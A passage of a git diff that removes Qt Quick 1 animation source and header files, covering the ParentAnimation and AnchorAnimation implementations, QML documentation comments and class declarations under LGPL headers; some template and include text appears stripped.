d->target; -} - -void QDeclarative1ParentAnimation::setTarget(QDeclarativeItem *target) -{ - Q_D(QDeclarative1ParentAnimation); - if (target == d->target) - return; - - d->target = target; - emit targetChanged(); -} - -/*! - \qmlproperty Item QtQuick1::ParentAnimation::newParent - The new parent to animate to. - - If the ParentAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. -*/ -QDeclarativeItem *QDeclarative1ParentAnimation::newParent() const -{ - Q_D(const QDeclarative1ParentAnimation); - return d->newParent; -} - -void QDeclarative1ParentAnimation::setNewParent(QDeclarativeItem *newParent) -{ - Q_D(QDeclarative1ParentAnimation); - if (newParent == d->newParent) - return; - - d->newParent = newParent; - emit newParentChanged(); -} - -/*! - \qmlproperty Item QtQuick1::ParentAnimation::via - The item to reparent via. This provides a way to do an unclipped animation - when both the old parent and new parent are clipped. - - \qml - ParentAnimation { - target: myItem - via: topLevelItem - // ... - } - \endqml -*/ -QDeclarativeItem *QDeclarative1ParentAnimation::via() const -{ - Q_D(const QDeclarative1ParentAnimation); - return d->via; -} - -void QDeclarative1ParentAnimation::setVia(QDeclarativeItem *via) -{ - Q_D(QDeclarative1ParentAnimation); - if (via == d->via) - return; - - d->via = via; - emit viaChanged(); -} - -//### mirrors same-named function in QDeclarativeItem -QPointF QDeclarative1ParentAnimationPrivate::computeTransformOrigin(QDeclarativeItem::TransformOrigin origin, qreal width, qreal height) const -{ - switch(origin) { - default: - case QDeclarativeItem::TopLeft: - return QPointF(0, 0); - case QDeclarativeItem::Top: - return QPointF(width / 2., 0); - case QDeclarativeItem::TopRight: - return QPointF(width, 0); - case QDeclarativeItem::Left: - return QPointF(0, height / 2.); - case QDeclarativeItem::Center: - return QPointF(width / 2., height / 2.); - case QDeclarativeItem::Right: - return QPointF(width, height / 2.); - case QDeclarativeItem::BottomLeft: - return QPointF(0, height); - case QDeclarativeItem::Bottom: - return QPointF(width / 2., height); - case QDeclarativeItem::BottomRight: - return QPointF(width, height); - } -} - -void QDeclarative1ParentAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1ParentAnimation); - - struct QDeclarative1ParentAnimationData : public QAbstractAnimationAction - { - QDeclarative1ParentAnimationData() {} - ~QDeclarative1ParentAnimationData() { qDeleteAll(pc); } - - QDeclarative1StateActions actions; - //### reverse should probably apply on a per-action basis - bool reverse; - QList pc; - virtual void doAction() - { - for (int ii = 0; ii < actions.count(); ++ii) { - const QDeclarative1Action &action = actions.at(ii); - if (reverse) - action.event->reverse(); - else - action.event->execute(); - } - } - }; - - QDeclarative1ParentAnimationData *data = new QDeclarative1ParentAnimationData; - QDeclarative1ParentAnimationData *viaData = new QDeclarative1ParentAnimationData; - - bool hasExplicit = false; - if (d->target && d->newParent) { - data->reverse = false; - QDeclarative1Action myAction; - QDeclarative1ParentChange *pc = new QDeclarative1ParentChange; - pc->setObject(d->target); - pc->setParent(d->newParent); - myAction.event = pc; - data->pc << pc; - data->actions << myAction; - hasExplicit = true; - if (d->via) { - viaData->reverse = false; - QDeclarative1Action myVAction; - QDeclarative1ParentChange *vpc = new QDeclarative1ParentChange; - vpc->setObject(d->target); - vpc->setParent(d->via); - myVAction.event = vpc; - viaData->pc << vpc; - viaData->actions << myVAction; - } - //### once actions have concept of modified, - // loop to match appropriate ParentChanges and mark as modified - } - - if (!hasExplicit) - for (int i = 0; i < actions.size(); ++i) { - QDeclarative1Action &action = actions[i]; - if (action.event && action.event->typeName() == QLatin1String("ParentChange") - && (!d->target || static_cast(action.event)->object() == d->target)) { - - QDeclarative1ParentChange *pc = static_cast(action.event); - QDeclarative1Action myAction = action; - data->reverse = action.reverseEvent; - - //### this logic differs from PropertyAnimation - // (probably a result of modified vs. done) - if (d->newParent) { - QDeclarative1ParentChange *epc = new QDeclarative1ParentChange; - epc->setObject(static_cast(action.event)->object()); - epc->setParent(d->newParent); - myAction.event = epc; - data->pc << epc; - data->actions << myAction; - pc = epc; - } else { - action.actionDone = true; - data->actions << myAction; - } - - if (d->via) { - viaData->reverse = false; - QDeclarative1Action myAction; - QDeclarative1ParentChange *vpc = new QDeclarative1ParentChange; - vpc->setObject(pc->object()); - vpc->setParent(d->via); - myAction.event = vpc; - viaData->pc << vpc; - viaData->actions << myAction; - QDeclarative1Action dummyAction; - QDeclarative1Action &xAction = pc->xIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction; - QDeclarative1Action &yAction = pc->yIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction; - QDeclarative1Action &sAction = pc->scaleIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction; - QDeclarative1Action &rAction = pc->rotationIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction; - QDeclarativeItem *target = pc->object(); - QDeclarativeItem *targetParent = action.reverseEvent ? pc->originalParent() : pc->parent(); - - //### this mirrors the logic in QDeclarative1ParentChange. - bool ok; - const QTransform &transform = targetParent->itemTransform(d->via, &ok); - if (transform.type() >= QTransform::TxShear || !ok) { - qmlInfo(this) << QDeclarative1ParentAnimation::tr("Unable to preserve appearance under complex transform"); - ok = false; - } - - qreal scale = 1; - qreal rotation = 0; - bool isRotate = (transform.type() == QTransform::TxRotate) || (transform.m11() < 0); - if (ok && !isRotate) { - if (transform.m11() == transform.m22()) - scale = transform.m11(); - else { - qmlInfo(this) << QDeclarative1ParentAnimation::tr("Unable to preserve appearance under non-uniform scale"); - ok = false; - } - } else if (ok && isRotate) { - if (transform.m11() == transform.m22()) - scale = qSqrt(transform.m11()*transform.m11() + transform.m12()*transform.m12()); - else { - qmlInfo(this) << QDeclarative1ParentAnimation::tr("Unable to preserve appearance under non-uniform scale"); - ok = false; - } - - if (scale != 0) - rotation = atan2(transform.m12()/scale, transform.m11()/scale) * 180/M_PI; - else { - qmlInfo(this) << QDeclarative1ParentAnimation::tr("Unable to preserve appearance under scale of 0"); - ok = false; - } - } - - const QPointF &point = transform.map(QPointF(xAction.toValue.toReal(),yAction.toValue.toReal())); - qreal x = point.x(); - qreal y = point.y(); - if (ok && target->transformOrigin() != QDeclarativeItem::TopLeft) { - qreal w = target->width(); - qreal h = target->height(); - if (pc->widthIsSet() && i < actions.size() - 1) - w = actions[++i].toValue.toReal(); - if (pc->heightIsSet() && i < actions.size() - 1) - h = actions[++i].toValue.toReal(); - const QPointF &transformOrigin - = d->computeTransformOrigin(target->transformOrigin(), w,h); - qreal tempxt = transformOrigin.x(); - qreal tempyt = transformOrigin.y(); - QTransform t; - t.translate(-tempxt, -tempyt); - t.rotate(rotation); - t.scale(scale, scale); - t.translate(tempxt, tempyt); - const QPointF &offset = t.map(QPointF(0,0)); - x += offset.x(); - y += offset.y(); - } - - if (ok) { - //qDebug() << x << y << rotation << scale; - xAction.toValue = x; - yAction.toValue = y; - sAction.toValue = sAction.toValue.toReal() * scale; - rAction.toValue = rAction.toValue.toReal() + rotation; - } - } - } - } - - if (data->actions.count()) { - if (direction == QDeclarative1AbstractAnimation::Forward) { - d->startAction->setAnimAction(d->via ? viaData : data, QActionAnimation_1::DeleteWhenStopped); - d->endAction->setAnimAction(d->via ? data : 0, QActionAnimation_1::DeleteWhenStopped); - } else { - d->endAction->setAnimAction(d->via ? viaData : data, QActionAnimation_1::DeleteWhenStopped); - d->startAction->setAnimAction(d->via ? data : 0, QActionAnimation_1::DeleteWhenStopped); - } - if (!d->via) - delete viaData; - } else { - delete data; - delete viaData; - } - - //take care of any child animations - bool valid = d->defaultProperty.isValid(); - for (int ii = 0; ii < d->animations.count(); ++ii) { - if (valid) - d->animations.at(ii)->setDefaultTarget(d->defaultProperty); - d->animations.at(ii)->transition(actions, modified, direction); - } - -} - -QAbstractAnimation *QDeclarative1ParentAnimation::qtAnimation() -{ - Q_D(QDeclarative1ParentAnimation); - return d->topLevelGroup; -} - -/*! - \qmlclass AnchorAnimation QDeclarative1AnchorAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The AnchorAnimation element animates changes in anchor values. - - AnchorAnimation is used to animate an anchor change. - - In the following snippet we animate the addition of a right anchor to a \l Rectangle: - - \snippet doc/src/snippets/qtquick1/anchoranimation.qml 0 - - For convenience, when an AnchorAnimation is used in a \l Transition, it will - animate any AnchorChanges that have occurred during the state change. - This can be overridden by setting a specific target item using the - \l target property. - - Like any other animation element, an AnchorAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \sa {QML Animation and Transitions}, AnchorChanges -*/ - -QDeclarative1AnchorAnimation::QDeclarative1AnchorAnimation(QObject *parent) -: QDeclarative1AbstractAnimation(*(new QDeclarative1AnchorAnimationPrivate), parent) -{ - Q_D(QDeclarative1AnchorAnimation); - d->va = new QDeclarative1BulkValueAnimator; - QDeclarative_setParent_noEvent(d->va, this); -} - -QDeclarative1AnchorAnimation::~QDeclarative1AnchorAnimation() -{ -} - -QAbstractAnimation *QDeclarative1AnchorAnimation::qtAnimation() -{ - Q_D(QDeclarative1AnchorAnimation); - return d->va; -} - -/*! - \qmlproperty list QtQuick1::AnchorAnimation::targets - The items to reanchor. - - If no targets are specified all AnchorChanges will be - animated by the AnchorAnimation. -*/ -QDeclarativeListProperty QDeclarative1AnchorAnimation::targets() -{ - Q_D(QDeclarative1AnchorAnimation); - return QDeclarativeListProperty(this, d->targets); -} - -/*! - \qmlproperty int QtQuick1::AnchorAnimation::duration - This property holds the duration of the animation, in milliseconds. - - The default value is 250. -*/ -int QDeclarative1AnchorAnimation::duration() const -{ - Q_D(const QDeclarative1AnchorAnimation); - return d->va->duration(); -} - -void QDeclarative1AnchorAnimation::setDuration(int duration) -{ - if (duration < 0) { - qmlInfo(this) << tr("Cannot set a duration of < 0"); - return; - } - - Q_D(QDeclarative1AnchorAnimation); - if (d->va->duration() == duration) - return; - d->va->setDuration(duration); - emit durationChanged(duration); -} - -/*! - \qmlproperty enumeration QtQuick1::AnchorAnimation::easing.type - \qmlproperty real QtQuick1::AnchorAnimation::easing.amplitude - \qmlproperty real QtQuick1::AnchorAnimation::easing.overshoot - \qmlproperty real QtQuick1::AnchorAnimation::easing.period - \brief the easing curve used for the animation. - - To specify an easing curve you need to specify at least the type. For some curves you can also specify - amplitude, period and/or overshoot. The default easing curve is - Linear. - - \qml - AnchorAnimation { easing.type: Easing.InOutQuad } - \endqml - - See the \l{PropertyAnimation::easing.type} documentation for information - about the different types of easing curves. -*/ - -QEasingCurve QDeclarative1AnchorAnimation::easing() const -{ - Q_D(const QDeclarative1AnchorAnimation); - return d->va->easingCurve(); -} - -void QDeclarative1AnchorAnimation::setEasing(const QEasingCurve &e) -{ - Q_D(QDeclarative1AnchorAnimation); - if (d->va->easingCurve() == e) - return; - - d->va->setEasingCurve(e); - emit easingChanged(e); -} - -void QDeclarative1AnchorAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_UNUSED(modified); - Q_D(QDeclarative1AnchorAnimation); - QDeclarative1AnimationPropertyUpdater *data = new QDeclarative1AnimationPropertyUpdater; - data->interpolatorType = QMetaType::QReal; - data->interpolator = d->interpolator; - - data->reverse = direction == Backward ? true : false; - data->fromSourced = false; - data->fromDefined = false; - - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - if (action.event && action.event->typeName() == QLatin1String("AnchorChanges") - && (d->targets.isEmpty() || d->targets.contains(static_cast(action.event)->object()))) { - data->actions << static_cast(action.event)->additionalActions(); - } - } - - if (data->actions.count()) { - if (!d->rangeIsSet) { - d->va->setStartValue(qreal(0)); - d->va->setEndValue(qreal(1)); - d->rangeIsSet = true; - } - d->va->setAnimValue(data, QAbstractAnimation::DeleteWhenStopped); - d->va->setFromSourcedValue(&data->fromSourced); - } else { - delete data; - } -} - -QDeclarative1ScriptActionPrivate::QDeclarative1ScriptActionPrivate() - : QDeclarative1AbstractAnimationPrivate(), hasRunScriptScript(false), reversing(false), proxy(this), rsa(0) {} - - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativeanimation_p.h b/src/qtquick1/util/qdeclarativeanimation_p.h deleted file mode 100644 index a88d848436..0000000000 --- a/src/qtquick1/util/qdeclarativeanimation_p.h +++ /dev/null @@ -1,527 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEANIMATION_H -#define QDECLARATIVEANIMATION_H - -#include "QtQuick1/private/qdeclarativetransition_p.h" -#include "QtQuick1/private/qdeclarativestate_p.h" -#include - -#include -#include -#include - -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarativeItem; -class QDeclarative1AbstractAnimationPrivate; -class QDeclarative1AnimationGroup; -class Q_QTQUICK1_EXPORT QDeclarative1AbstractAnimation : public QObject, public QDeclarativePropertyValueSource, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1AbstractAnimation) - - Q_INTERFACES(QDeclarativeParserStatus) - Q_INTERFACES(QDeclarativePropertyValueSource) - Q_ENUMS(Loops) - Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) - Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) - Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) - Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopCountChanged) - Q_CLASSINFO("DefaultMethod", "start()") - -public: - QDeclarative1AbstractAnimation(QObject *parent=0); - virtual ~QDeclarative1AbstractAnimation(); - - enum Loops { Infinite = -2 }; - - bool isRunning() const; - void setRunning(bool); - bool isPaused() const; - void setPaused(bool); - bool alwaysRunToEnd() const; - void setAlwaysRunToEnd(bool); - - int loops() const; - void setLoops(int); - - int currentTime(); - void setCurrentTime(int); - - QDeclarative1AnimationGroup *group() const; - void setGroup(QDeclarative1AnimationGroup *); - - void setDefaultTarget(const QDeclarativeProperty &); - void setDisableUserControl(); - - void classBegin(); - void componentComplete(); - -Q_SIGNALS: - void started(); - void completed(); - void runningChanged(bool); - void pausedChanged(bool); - void alwaysRunToEndChanged(bool); - void loopCountChanged(int); - -public Q_SLOTS: - void restart(); - void start(); - void pause(); - void resume(); - void stop(); - void complete(); - -protected: - QDeclarative1AbstractAnimation(QDeclarative1AbstractAnimationPrivate &dd, QObject *parent); - -public: - enum TransitionDirection { Forward, Backward }; - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation() = 0; - -private Q_SLOTS: - void timelineComplete(); - void componentFinalized(); -private: - virtual void setTarget(const QDeclarativeProperty &); - void notifyRunningChanged(bool running); - friend class QDeclarative1Behavior; - - -}; - -class QDeclarative1PauseAnimationPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1PauseAnimation : public QDeclarative1AbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PauseAnimation) - - Q_PROPERTY(int duration READ duration WRITE setDuration NOTIFY durationChanged) - -public: - QDeclarative1PauseAnimation(QObject *parent=0); - virtual ~QDeclarative1PauseAnimation(); - - int duration() const; - void setDuration(int); - -Q_SIGNALS: - void durationChanged(int); - -protected: - virtual QAbstractAnimation *qtAnimation(); -}; - -class QDeclarative1ScriptActionPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1ScriptAction : public QDeclarative1AbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1ScriptAction) - - Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript) - Q_PROPERTY(QString scriptName READ stateChangeScriptName WRITE setStateChangeScriptName) - -public: - QDeclarative1ScriptAction(QObject *parent=0); - virtual ~QDeclarative1ScriptAction(); - - QDeclarativeScriptString script() const; - void setScript(const QDeclarativeScriptString &); - - QString stateChangeScriptName() const; - void setStateChangeScriptName(const QString &); - -protected: - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - -class QDeclarative1PropertyActionPrivate; -class QDeclarative1PropertyAction : public QDeclarative1AbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PropertyAction) - - Q_PROPERTY(QObject *target READ target WRITE setTarget NOTIFY targetChanged) - Q_PROPERTY(QString property READ property WRITE setProperty NOTIFY propertyChanged) - Q_PROPERTY(QString properties READ properties WRITE setProperties NOTIFY propertiesChanged) - Q_PROPERTY(QDeclarativeListProperty targets READ targets) - Q_PROPERTY(QDeclarativeListProperty exclude READ exclude) - Q_PROPERTY(QVariant value READ value WRITE setValue NOTIFY valueChanged) - -public: - QDeclarative1PropertyAction(QObject *parent=0); - virtual ~QDeclarative1PropertyAction(); - - QObject *target() const; - void setTarget(QObject *); - - QString property() const; - void setProperty(const QString &); - - QString properties() const; - void setProperties(const QString &); - - QDeclarativeListProperty targets(); - QDeclarativeListProperty exclude(); - - QVariant value() const; - void setValue(const QVariant &); - -Q_SIGNALS: - void valueChanged(const QVariant &); - void propertiesChanged(const QString &); - void targetChanged(); - void propertyChanged(); - -protected: - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - -class QDeclarative1PropertyAnimationPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1PropertyAnimation : public QDeclarative1AbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PropertyAnimation) - - Q_PROPERTY(int duration READ duration WRITE setDuration NOTIFY durationChanged) - Q_PROPERTY(QVariant from READ from WRITE setFrom NOTIFY fromChanged) - Q_PROPERTY(QVariant to READ to WRITE setTo NOTIFY toChanged) - Q_PROPERTY(QEasingCurve easing READ easing WRITE setEasing NOTIFY easingChanged) - Q_PROPERTY(QObject *target READ target WRITE setTarget NOTIFY targetChanged) - Q_PROPERTY(QString property READ property WRITE setProperty NOTIFY propertyChanged) - Q_PROPERTY(QString properties READ properties WRITE setProperties NOTIFY propertiesChanged) - Q_PROPERTY(QDeclarativeListProperty targets READ targets) - Q_PROPERTY(QDeclarativeListProperty exclude READ exclude) - -public: - QDeclarative1PropertyAnimation(QObject *parent=0); - virtual ~QDeclarative1PropertyAnimation(); - - virtual int duration() const; - virtual void setDuration(int); - - QVariant from() const; - void setFrom(const QVariant &); - - QVariant to() const; - void setTo(const QVariant &); - - QEasingCurve easing() const; - void setEasing(const QEasingCurve &); - - QObject *target() const; - void setTarget(QObject *); - - QString property() const; - void setProperty(const QString &); - - QString properties() const; - void setProperties(const QString &); - - QDeclarativeListProperty targets(); - QDeclarativeListProperty exclude(); - -protected: - QDeclarative1PropertyAnimation(QDeclarative1PropertyAnimationPrivate &dd, QObject *parent); - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); - -Q_SIGNALS: - void durationChanged(int); - void fromChanged(QVariant); - void toChanged(QVariant); - void easingChanged(const QEasingCurve &); - void propertiesChanged(const QString &); - void targetChanged(); - void propertyChanged(); -}; - -class Q_AUTOTEST_EXPORT QDeclarative1ColorAnimation : public QDeclarative1PropertyAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PropertyAnimation) - Q_PROPERTY(QColor from READ from WRITE setFrom) - Q_PROPERTY(QColor to READ to WRITE setTo) - -public: - QDeclarative1ColorAnimation(QObject *parent=0); - virtual ~QDeclarative1ColorAnimation(); - - QColor from() const; - void setFrom(const QColor &); - - QColor to() const; - void setTo(const QColor &); -}; - -class Q_AUTOTEST_EXPORT QDeclarative1NumberAnimation : public QDeclarative1PropertyAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PropertyAnimation) - - Q_PROPERTY(qreal from READ from WRITE setFrom) - Q_PROPERTY(qreal to READ to WRITE setTo) - -public: - QDeclarative1NumberAnimation(QObject *parent=0); - virtual ~QDeclarative1NumberAnimation(); - - qreal from() const; - void setFrom(qreal); - - qreal to() const; - void setTo(qreal); - -protected: - QDeclarative1NumberAnimation(QDeclarative1PropertyAnimationPrivate &dd, QObject *parent); - -private: - void init(); -}; - -class Q_AUTOTEST_EXPORT QDeclarative1Vector3dAnimation : public QDeclarative1PropertyAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1PropertyAnimation) - - Q_PROPERTY(QVector3D from READ from WRITE setFrom) - Q_PROPERTY(QVector3D to READ to WRITE setTo) - -public: - QDeclarative1Vector3dAnimation(QObject *parent=0); - virtual ~QDeclarative1Vector3dAnimation(); - - QVector3D from() const; - void setFrom(QVector3D); - - QVector3D to() const; - void setTo(QVector3D); -}; - -class QDeclarative1RotationAnimationPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1RotationAnimation : public QDeclarative1PropertyAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1RotationAnimation) - Q_ENUMS(RotationDirection) - - Q_PROPERTY(qreal from READ from WRITE setFrom) - Q_PROPERTY(qreal to READ to WRITE setTo) - Q_PROPERTY(RotationDirection direction READ direction WRITE setDirection NOTIFY directionChanged) - -public: - QDeclarative1RotationAnimation(QObject *parent=0); - virtual ~QDeclarative1RotationAnimation(); - - qreal from() const; - void setFrom(qreal); - - qreal to() const; - void setTo(qreal); - - enum RotationDirection { Numerical, Shortest, Clockwise, Counterclockwise }; - RotationDirection direction() const; - void setDirection(RotationDirection direction); - -Q_SIGNALS: - void directionChanged(); -}; - -class QDeclarative1AnimationGroupPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1AnimationGroup : public QDeclarative1AbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1AnimationGroup) - - Q_CLASSINFO("DefaultProperty", "animations") - Q_PROPERTY(QDeclarativeListProperty animations READ animations) - -public: - QDeclarative1AnimationGroup(QObject *parent); - virtual ~QDeclarative1AnimationGroup(); - - QDeclarativeListProperty animations(); - friend class QDeclarative1AbstractAnimation; - -protected: - QDeclarative1AnimationGroup(QDeclarative1AnimationGroupPrivate &dd, QObject *parent); -}; - -class QDeclarative1SequentialAnimation : public QDeclarative1AnimationGroup -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1AnimationGroup) - -public: - QDeclarative1SequentialAnimation(QObject *parent=0); - virtual ~QDeclarative1SequentialAnimation(); - -protected: - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - -class QDeclarative1ParallelAnimation : public QDeclarative1AnimationGroup -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1AnimationGroup) - -public: - QDeclarative1ParallelAnimation(QObject *parent=0); - virtual ~QDeclarative1ParallelAnimation(); - -protected: - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - -class QDeclarative1ParentAnimationPrivate; -class QDeclarative1ParentAnimation : public QDeclarative1AnimationGroup -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1ParentAnimation) - - Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget NOTIFY targetChanged) - Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent NOTIFY newParentChanged) - Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia NOTIFY viaChanged) - -public: - QDeclarative1ParentAnimation(QObject *parent=0); - virtual ~QDeclarative1ParentAnimation(); - - QDeclarativeItem *target() const; - void setTarget(QDeclarativeItem *); - - QDeclarativeItem *newParent() const; - void setNewParent(QDeclarativeItem *); - - QDeclarativeItem *via() const; - void setVia(QDeclarativeItem *); - -Q_SIGNALS: - void targetChanged(); - void newParentChanged(); - void viaChanged(); - -protected: - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - -class QDeclarative1AnchorAnimationPrivate; -class QDeclarative1AnchorAnimation : public QDeclarative1AbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1AnchorAnimation) - Q_PROPERTY(QDeclarativeListProperty targets READ targets) - Q_PROPERTY(int duration READ duration WRITE setDuration NOTIFY durationChanged) - Q_PROPERTY(QEasingCurve easing READ easing WRITE setEasing NOTIFY easingChanged) - -public: - QDeclarative1AnchorAnimation(QObject *parent=0); - virtual ~QDeclarative1AnchorAnimation(); - - QDeclarativeListProperty targets(); - - int duration() const; - void setDuration(int); - - QEasingCurve easing() const; - void setEasing(const QEasingCurve &); - -Q_SIGNALS: - void durationChanged(int); - void easingChanged(const QEasingCurve&); - -protected: - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1AbstractAnimation) -QML_DECLARE_TYPE(QDeclarative1PauseAnimation) -QML_DECLARE_TYPE(QDeclarative1ScriptAction) -QML_DECLARE_TYPE(QDeclarative1PropertyAction) -QML_DECLARE_TYPE(QDeclarative1PropertyAnimation) -QML_DECLARE_TYPE(QDeclarative1ColorAnimation) -QML_DECLARE_TYPE(QDeclarative1NumberAnimation) -QML_DECLARE_TYPE(QDeclarative1SequentialAnimation) -QML_DECLARE_TYPE(QDeclarative1ParallelAnimation) -QML_DECLARE_TYPE(QDeclarative1Vector3dAnimation) -QML_DECLARE_TYPE(QDeclarative1RotationAnimation) -QML_DECLARE_TYPE(QDeclarative1ParentAnimation) -QML_DECLARE_TYPE(QDeclarative1AnchorAnimation) - -QT_END_HEADER - -#endif // QDECLARATIVEANIMATION_H diff --git a/src/qtquick1/util/qdeclarativeanimation_p_p.h b/src/qtquick1/util/qdeclarativeanimation_p_p.h deleted file mode 100644 index 6e490dc7a1..0000000000 --- a/src/qtquick1/util/qdeclarativeanimation_p_p.h +++ /dev/null @@ -1,396 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEANIMATION_P_H -#define QDECLARATIVEANIMATION_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "QtQuick1/private/qdeclarativeanimation_p.h" - -#include "QtDeclarative/private/qdeclarativenullablevalue_p_p.h" -#include "QtQuick1/private/qdeclarativetimeline_p_p.h" - -#include -#include -#include - -#include -#include -#include -#include - -#include -#include - -QT_BEGIN_NAMESPACE - -//interface for classes that provide animation actions for QActionAnimation_1 -class QAbstractAnimationAction -{ -public: - virtual ~QAbstractAnimationAction() {} - virtual void doAction() = 0; -}; - -//templated animation action -//allows us to specify an action that calls a function of a class. -//(so that class doesn't have to inherit QDeclarative1AbstractAnimationAction) -template -class QAnimationActionProxy_1 : public QAbstractAnimationAction -{ -public: - QAnimationActionProxy_1(T *p) : m_p(p) {} - virtual void doAction() { (m_p->*method)(); } - -private: - T *m_p; -}; - -//performs an action of type QAbstractAnimationAction -class Q_AUTOTEST_EXPORT QActionAnimation_1 : public QAbstractAnimation -{ - Q_OBJECT -public: - 